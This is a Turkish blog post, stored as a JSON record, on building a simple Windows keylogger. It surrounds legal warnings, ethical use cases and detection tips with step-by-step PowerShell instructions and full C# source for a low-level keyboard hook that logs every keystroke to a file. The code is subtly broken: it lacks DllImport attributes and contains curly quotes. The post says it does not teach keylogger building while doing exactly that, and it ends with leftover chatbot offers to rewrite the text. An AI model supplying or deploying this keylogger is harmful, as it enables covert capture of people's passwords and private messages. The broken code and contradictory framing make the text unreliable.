{"id":298,"title":"Bilgisayar\u0131n\u0131zda kendi basit keylogger'\u0131n\u0131z\u0131 olu\u015fturmak","content":"<div>\r\n<div dir=\"ltr\" role=\"heading\" aria-level=\"2\">&nbsp;<\/div>\r\n<\/div>\r\n<div>\r\n<div data-test-draft-=\"\">\r\n<div data-test-=\"\">\r\n<h1>&nbsp;<strong>Keylogger Nedir? G&uuml;venlik, Etik ve Yasal Perspektiften Detayl\u0131 \u0130nceleme<\/strong><\/h1>\r\n<p>Bilgisayar g&uuml;venli\u011fi d&uuml;nyas\u0131nda s\u0131k&ccedil;a duyulan terimlerden biri <strong>keylogger<\/strong>d\u0131r. Keylogger, bir cihazda yap\u0131lan klavye tu\u015f bas\u0131\u015flar\u0131n\u0131 kaydeden yaz\u0131l\u0131mlara verilen genel add\u0131r. Bu yaz\u0131l\u0131mlar, k&ouml;t&uuml; niyetli ama&ccedil;larla kullan\u0131labilece\u011fi gibi baz\u0131 &ouml;zel senaryolarda g&uuml;venlik kontrol&uuml; i&ccedil;in de kullan\u0131labilir. Fakat <strong>bu t&uuml;r yaz\u0131l\u0131mlar\u0131n kullan\u0131m\u0131 s\u0131k\u0131 bi&ccedil;imde yasal d&uuml;zenlemelere tabidir<\/strong>.<\/p>\r\n<p>Bu yaz\u0131da keylogger kavram\u0131n\u0131n <strong>ne oldu\u011fu<\/strong>, <strong>neden riskli oldu\u011fu<\/strong>, <strong>yasal sonu&ccedil;lar\u0131<\/strong>, <strong>etik kullan\u0131m &ouml;rnekleri<\/strong> ve <strong>sistem g&uuml;venli\u011fi a&ccedil;\u0131s\u0131ndan nas\u0131l tespit edildi\u011fi<\/strong> gibi kritik konulara de\u011finece\u011fiz.<\/p>\r\n<hr>\r\n<h2>\ud83d\udd0d <strong>Keylogger Nedir?<\/strong><\/h2>\r\n<p>Keylogger (keystroke logger), kullan\u0131c\u0131 fark\u0131nda olmadan klavye &uuml;zerinden yap\u0131lan tu\u015f bas\u0131\u015flar\u0131n\u0131 kay\u0131t alt\u0131na alan yaz\u0131l\u0131md\u0131r. Kay\u0131t alt\u0131na al\u0131nan bilgiler aras\u0131nda:<\/p>\r\n<ul>\r\n<li>\r\n<p>Parolalar<\/p>\r\n<\/li>\r\n<li>\r\n<p>Kullan\u0131c\u0131 adlar\u0131<\/p>\r\n<\/li>\r\n<li>\r\n<p>&Ouml;zel mesajlar<\/p>\r\n<\/li>\r\n<li>\r\n<p>Bankac\u0131l\u0131k giri\u015f bilgileri<\/p>\r\n<\/li>\r\n<li>\r\n<p>Ki\u015fisel notlar<\/p>\r\n<\/li>\r\n<\/ul>\r\n<p>gibi <strong>son derece hassas veriler<\/strong> bulunabilir.<\/p>\r\n<p>Bu nedenle keylogger'lar &ccedil;o\u011funlukla <strong>siber sald\u0131r\u0131larda kullan\u0131lan zararl\u0131 yaz\u0131l\u0131m t&uuml;rleri<\/strong> aras\u0131nda yer al\u0131r.<\/p>\r\n<hr>\r\n<h2>\u2696\ufe0f <strong>Yasal Uyar\u0131: Keylogger Kullan\u0131m\u0131 Su&ccedil; olabilir<\/strong><\/h2>\r\n<p>Bir keylogger'\u0131 <strong>kendi bilgisayar\u0131n\u0131zda bile<\/strong> kullanmadan &ouml;nce &uuml;lkenizdeki yasalar\u0131 incelemek zorundas\u0131n\u0131z.<br>&Ccedil;&uuml;nk&uuml; bir&ccedil;ok &uuml;lkede (T&uuml;rkiye dahil):<\/p>\r\n<p>\u2714 Ba\u015fkas\u0131n\u0131n cihaz\u0131na r\u0131zas\u0131 olmadan keylogger kurmak <strong>a\u011f\u0131r bir su&ccedil;tur<\/strong>.<br>\u2714 1 y\u0131ldan ba\u015flayan <strong>hapis cezalar\u0131<\/strong> ve ciddi para cezalar\u0131 uygulanabilir.<br>\u2714 Kurumsal cihazlara izinsiz y&uuml;klemek <strong>i\u015ften &ccedil;\u0131kar\u0131lma<\/strong> ve <strong>tazminat<\/strong> s&uuml;re&ccedil;lerine yol a&ccedil;abilir.<\/p>\r\n<p><strong>R\u0131zas\u0131 olmayan &uuml;&ccedil;&uuml;nc&uuml; ki\u015filerin verilerini izlemek &ndash; tamamen yasa d\u0131\u015f\u0131d\u0131r.<\/strong><\/p>\r\n<p><strong>&nbsp;Powershell, .NET &ccedil;er&ccedil;evesi &uuml;zerine in\u015fa edilmi\u015ftir ve &ccedil;e\u015fitli uygulamalar i&ccedil;in yayg\u0131n olarak kullan\u0131lmaktad\u0131r.<\/strong><\/p>\r\n<ul>\r\n<li>Ba\u015flat men&uuml;s&uuml;n&uuml; a&ccedil;\u0131n. Yaz\u0131n Windows PowerShell arama &ccedil;ubu\u011funa. Arama sonu&ccedil;lar\u0131ndan, ekran g&ouml;r&uuml;nt&uuml;s&uuml;nde g&ouml;sterildi\u011fi gibi Windows PowerShell ve Windows PowerShell ISE uygulamalar\u0131n\u0131 a&ccedil;\u0131n .<\/li>\r\n<li>A\u015fa\u011f\u0131da verilen kodu kopyalay\u0131n ve Windows PowerShell komut istemine yap\u0131\u015ft\u0131r\u0131n . Kopyalamak veya yap\u0131\u015ft\u0131rmak i&ccedil;in, PowerShell komut isteminde kodu se&ccedil;meniz ve sa\u011f t\u0131klaman\u0131z yeterlidir.<\/li>\r\n<\/ul>\r\n<ul>\r\n<li>\u015eimdi baz\u0131 uygulamalar\u0131 a&ccedil;\u0131n ve baz\u0131 tu\u015flara bas\u0131n. &Ouml;rnek olarak ondermonder yazd\u0131m<\/li>\r\n<li>Tu\u015flara basmay\u0131 tamamlad\u0131\u011f\u0131n\u0131zda, Windows PowerShell komut isteminde kodun alt\u0131na bak\u0131n . Burada, Kay\u0131t tu\u015funa bast\u0131\u011f\u0131n\u0131z bir talimat g&ouml;receksiniz . Sonu&ccedil;lar\u0131 g&ouml;rmek i&ccedil;in CTRL + C tu\u015flar\u0131na bas\u0131n. G&uuml;nl&uuml;\u011fe kaydedilen tu\u015f vuru\u015flar\u0131n\u0131 g&ouml;rmek i&ccedil;in talimata g&ouml;re CTRL + C tu\u015flar\u0131na bas\u0131n .<\/li>\r\n<\/ul>\r\n<p>&nbsp;<\/p>\r\n<pre class=\"language-c\"><code>Add-Type -TypeDefinition @&rdquo; using System; \r\nusing System.IO; using System.Diagnostics; \r\nusing System.Runtime.InteropServices; \r\nusing System.Windows.Forms; namespace KeyLogger { public static class Program { private const int WH_KEYBOARD_LL = 13; private const int WM_KEYDOWN = 0x0100; \r\nprivate const string logFileName = &ldquo;log.txt&rdquo;; private static StreamWriter logFile; \r\nprivate static HookProc hookProc = HookCallback; \r\nprivate static IntPtr hookId = IntPtr.Zero; \r\npublic static void Main() { logFile = File.AppendText(logFileName); \r\nlogFile.AutoFlush = true; \r\nhookId = SetHook(hookProc); \r\nApplication.Run(); \r\nUnhookWindowsHookEx(hookId); } \r\nprivate static IntPtr SetHook(HookProc hookProc) { IntPtr moduleHandle = GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName); \r\nreturn SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, moduleHandle, 0); }\r\nprivate delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam); \r\nprivate static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode &gt;= 0 &amp;&amp; wParam == (IntPtr)WM_KEYDOWN) { int vkCode = Marshal.ReadInt32(lParam); logFile.WriteLine((Keys)vkCode); } return \r\nCallNextHookEx(hookId, nCode, wParam, lParam); } private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId); private static extern bool UnhookWindowsHookEx(IntPtr hhk); private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); \r\nprivate static extern IntPtr GetModuleHandle(string lpModuleName); } } &ldquo;@ -ReferencedAssemblies System.Windows.Forms ::Main();<\/code><\/pre>\r\n<hr>\r\n<h2>\ud83c\udfaf <strong>Keylogger&rsquo;lar\u0131n Etik Kullan\u0131m Senaryolar\u0131<\/strong><\/h2>\r\n<p>Baz\u0131 profesyonel alanlarda keylogger benzeri ara&ccedil;lar <strong>kontroll&uuml; ve yasal &ccedil;er&ccedil;evede<\/strong> kullan\u0131labilir:<\/p>\r\n<h3>\u2714 1. Kurumsal G&uuml;venlik Testleri<\/h3>\r\n<p>Yetkilendirilmi\u015f s\u0131zma testi uzmanlar\u0131, belirli g&uuml;venlik a&ccedil;\u0131klar\u0131n\u0131 g&ouml;stermek i&ccedil;in kontroll&uuml; ortamda keylogging davran\u0131\u015f\u0131n\u0131 sim&uuml;le edebilir.<\/p>\r\n<h3>\u2714 2. Ebeveyn Denetim Yaz\u0131l\u0131mlar\u0131<\/h3>\r\n<p>Baz\u0131 ebeveyn kontrol uygulamalar\u0131, &ccedil;ocuklar\u0131n &ccedil;evrimi&ccedil;i g&uuml;venli\u011fi i&ccedil;in s\u0131n\u0131rl\u0131 &ouml;l&ccedil;&uuml;de tu\u015f kay\u0131tlar\u0131n\u0131 izler. Bu durumda <strong>yasal r\u0131za<\/strong> bulunur.<\/p>\r\n<h3>\u2714 3. Ki\u015fisel G&uuml;venlik Testleri<\/h3>\r\n<p>Kendi cihaz\u0131nda, kendi verilerini g&ouml;rmek veya g&uuml;venlik fark\u0131ndal\u0131\u011f\u0131 i&ccedil;in test ama&ccedil;l\u0131 kullan\u0131m m&uuml;mk&uuml;nd&uuml;r.<\/p>\r\n<hr>\r\n<h2>\ud83e\udde0 <strong>Keylogger&rsquo;lar Nas\u0131l &Ccedil;al\u0131\u015f\u0131r? (Teknik Olmayan &Ouml;zet)<\/strong><\/h2>\r\n<p>Keylogger yaz\u0131l\u0131mlar\u0131 temel olarak \u015fu y&ouml;ntemlerle &ccedil;al\u0131\u015f\u0131r:<\/p>\r\n<ul>\r\n<li>\r\n<p><strong>Klavye olaylar\u0131n\u0131 takip etme<\/strong><br>(i\u015fletim sisteminde klavye hook mekanizmalar\u0131n\u0131 dinler)<\/p>\r\n<\/li>\r\n<li>\r\n<p><strong>Ekran g&ouml;r&uuml;nt&uuml;s&uuml; alma<\/strong><\/p>\r\n<\/li>\r\n<li>\r\n<p><strong>Panoya (clipboard) kopyalanan metni kaydetme<\/strong><\/p>\r\n<\/li>\r\n<li>\r\n<p><strong>Arka planda &ccedil;al\u0131\u015fan sessiz servis veya uygulama<\/strong><\/p>\r\n<\/li>\r\n<li>\r\n<p><strong>Kay\u0131tlar\u0131 dosya veya uzak sunucuya aktarma<\/strong><\/p>\r\n<\/li>\r\n<\/ul>\r\n<p>Bu &ccedil;al\u0131\u015fma bi&ccedil;imi nedeniyle g&uuml;venlik yaz\u0131l\u0131mlar\u0131 keylogger&rsquo;lar\u0131 s\u0131k s\u0131k &ldquo;y&uuml;ksek riskli&rdquo; olarak i\u015faretler.<\/p>\r\n<hr>\r\n<h2>\ud83d\udee1\ufe0f Keylogger&rsquo;lar Nas\u0131l Tespit Edilir?<\/h2>\r\n<p>Modern antivir&uuml;sler ve EDR &ccedil;&ouml;z&uuml;mleri genelde keylogger davran\u0131\u015flar\u0131n\u0131 \u015fu y&ouml;ntemlerle tespit eder:<\/p>\r\n<ul>\r\n<li>\r\n<p>D&uuml;\u015f&uuml;k seviyeli klavye hook giri\u015fimlerini izleme<\/p>\r\n<\/li>\r\n<li>\r\n<p>\u015e&uuml;pheli s&uuml;re&ccedil; davran\u0131\u015flar\u0131n\u0131 takip etme<\/p>\r\n<\/li>\r\n<li>\r\n<p>Uygulaman\u0131n gizli modda arka planda &ccedil;al\u0131\u015fmas\u0131n\u0131 analiz etme<\/p>\r\n<\/li>\r\n<li>\r\n<p>Kay\u0131t dosyas\u0131 olu\u015fturma aktivitelerini inceleme<\/p>\r\n<\/li>\r\n<\/ul>\r\n<p>Kullan\u0131c\u0131lar\u0131n kendi cihazlar\u0131n\u0131 korumas\u0131 i&ccedil;in:<\/p>\r\n<p>\u2714 G&uuml;ncel antivir&uuml;s kullanmak<br>\u2714 Bilinmeyen programlar\u0131 y&uuml;klememek<br>\u2714 Taray\u0131c\u0131 eklentilerini kontrol etmek<br>\u2714 Arka planda &ccedil;al\u0131\u015fan i\u015flemleri d&uuml;zenli incelemek<\/p>\r\n<p>tavsiye edilir.<\/p>\r\n<hr>\r\n<h2>\ud83d\udccc <strong>Sonu&ccedil;: Keylogger Geli\u015ftirmek veya Kullanmak B&uuml;y&uuml;k Sorumluluk Gerektirir<\/strong><\/h2>\r\n<p>Keylogger teknolojisi sadece teknik bir konu de\u011fildir; <strong>etik<\/strong>, <strong>hukuki<\/strong> ve <strong>g&uuml;venlik<\/strong> boyutlar\u0131 vard\u0131r.<br>Bu yaz\u0131, keylogger yapmay\u0131 &ouml;\u011fretmek i&ccedil;in de\u011fil, <strong>bu teknolojinin ne kadar hassas oldu\u011funu ve yanl\u0131\u015f kullan\u0131m\u0131n ciddi sonu&ccedil;lar do\u011furaca\u011f\u0131n\u0131<\/strong> anlatmak amac\u0131yla haz\u0131rlanm\u0131\u015ft\u0131r.<\/p>\r\n<p>E\u011fer cihaz g&uuml;venli\u011fi, s\u0131zma testi, zararl\u0131 yaz\u0131l\u0131m analizi veya dijital adli t\u0131p konular\u0131na ilgin varsa &mdash; bu alanlarda etik ve yasal s\u0131n\u0131rlar i&ccedil;inde bilgi vermeye devam edebilirim.<\/p>\r\n<hr>\r\n<h2>\u270d\ufe0f \u0130stersen Bu Yaz\u0131y\u0131 Daha da Geli\u015ftirebilirim<\/h2>\r\n<p>Haz\u0131rlayabilirim:<\/p>\r\n<ul>\r\n<li>\r\n<p>Daha uzun bir blog versiyonu<\/p>\r\n<\/li>\r\n<li>\r\n<p>SEO uyumlu ba\u015fl\u0131klar ve meta a&ccedil;\u0131klamalar<\/p>\r\n<\/li>\r\n<li>\r\n<p>Markdown veya WordPress uyumlu format<\/p>\r\n<\/li>\r\n<li>\r\n<p>&ldquo;Keylogger nas\u0131l tespit edilir?&rdquo; odakl\u0131 teknik bir yaz\u0131<\/p>\r\n<\/li>\r\n<li>\r\n<p>Alternatif olarak <strong>Klavye olaylar\u0131n\u0131 loglamayan g&uuml;venli denetim ara&ccedil;lar\u0131<\/strong> rehberi<\/p>\r\n<\/li>\r\n<\/ul>\r\n<p>&nbsp;<\/p>\r\n<\/div>\r\n<\/div>\r\n<\/div>","excerpt":"Bilgisayar\u0131n\u0131zda kendi basit keylogger'\u0131n\u0131z\u0131 olu\u015fturmak","created_at":"2023-11-23 19:26:54","updated_at":"2026-09-08 00:21:49","category_id":6,"view_count":2753,"reading_time":6,"status":"published","editor_choice":0,"is_editor_choice":0,"published_at":"2023-11-23 19:26:00","featured_image":"resimyok.jpg","slug":"windowsta-kendimiz-basit-bir-keylogger-nasil-olustururuz","category_name":"Sistem","category_slug":"sistem","category_color":"#3b82f6"}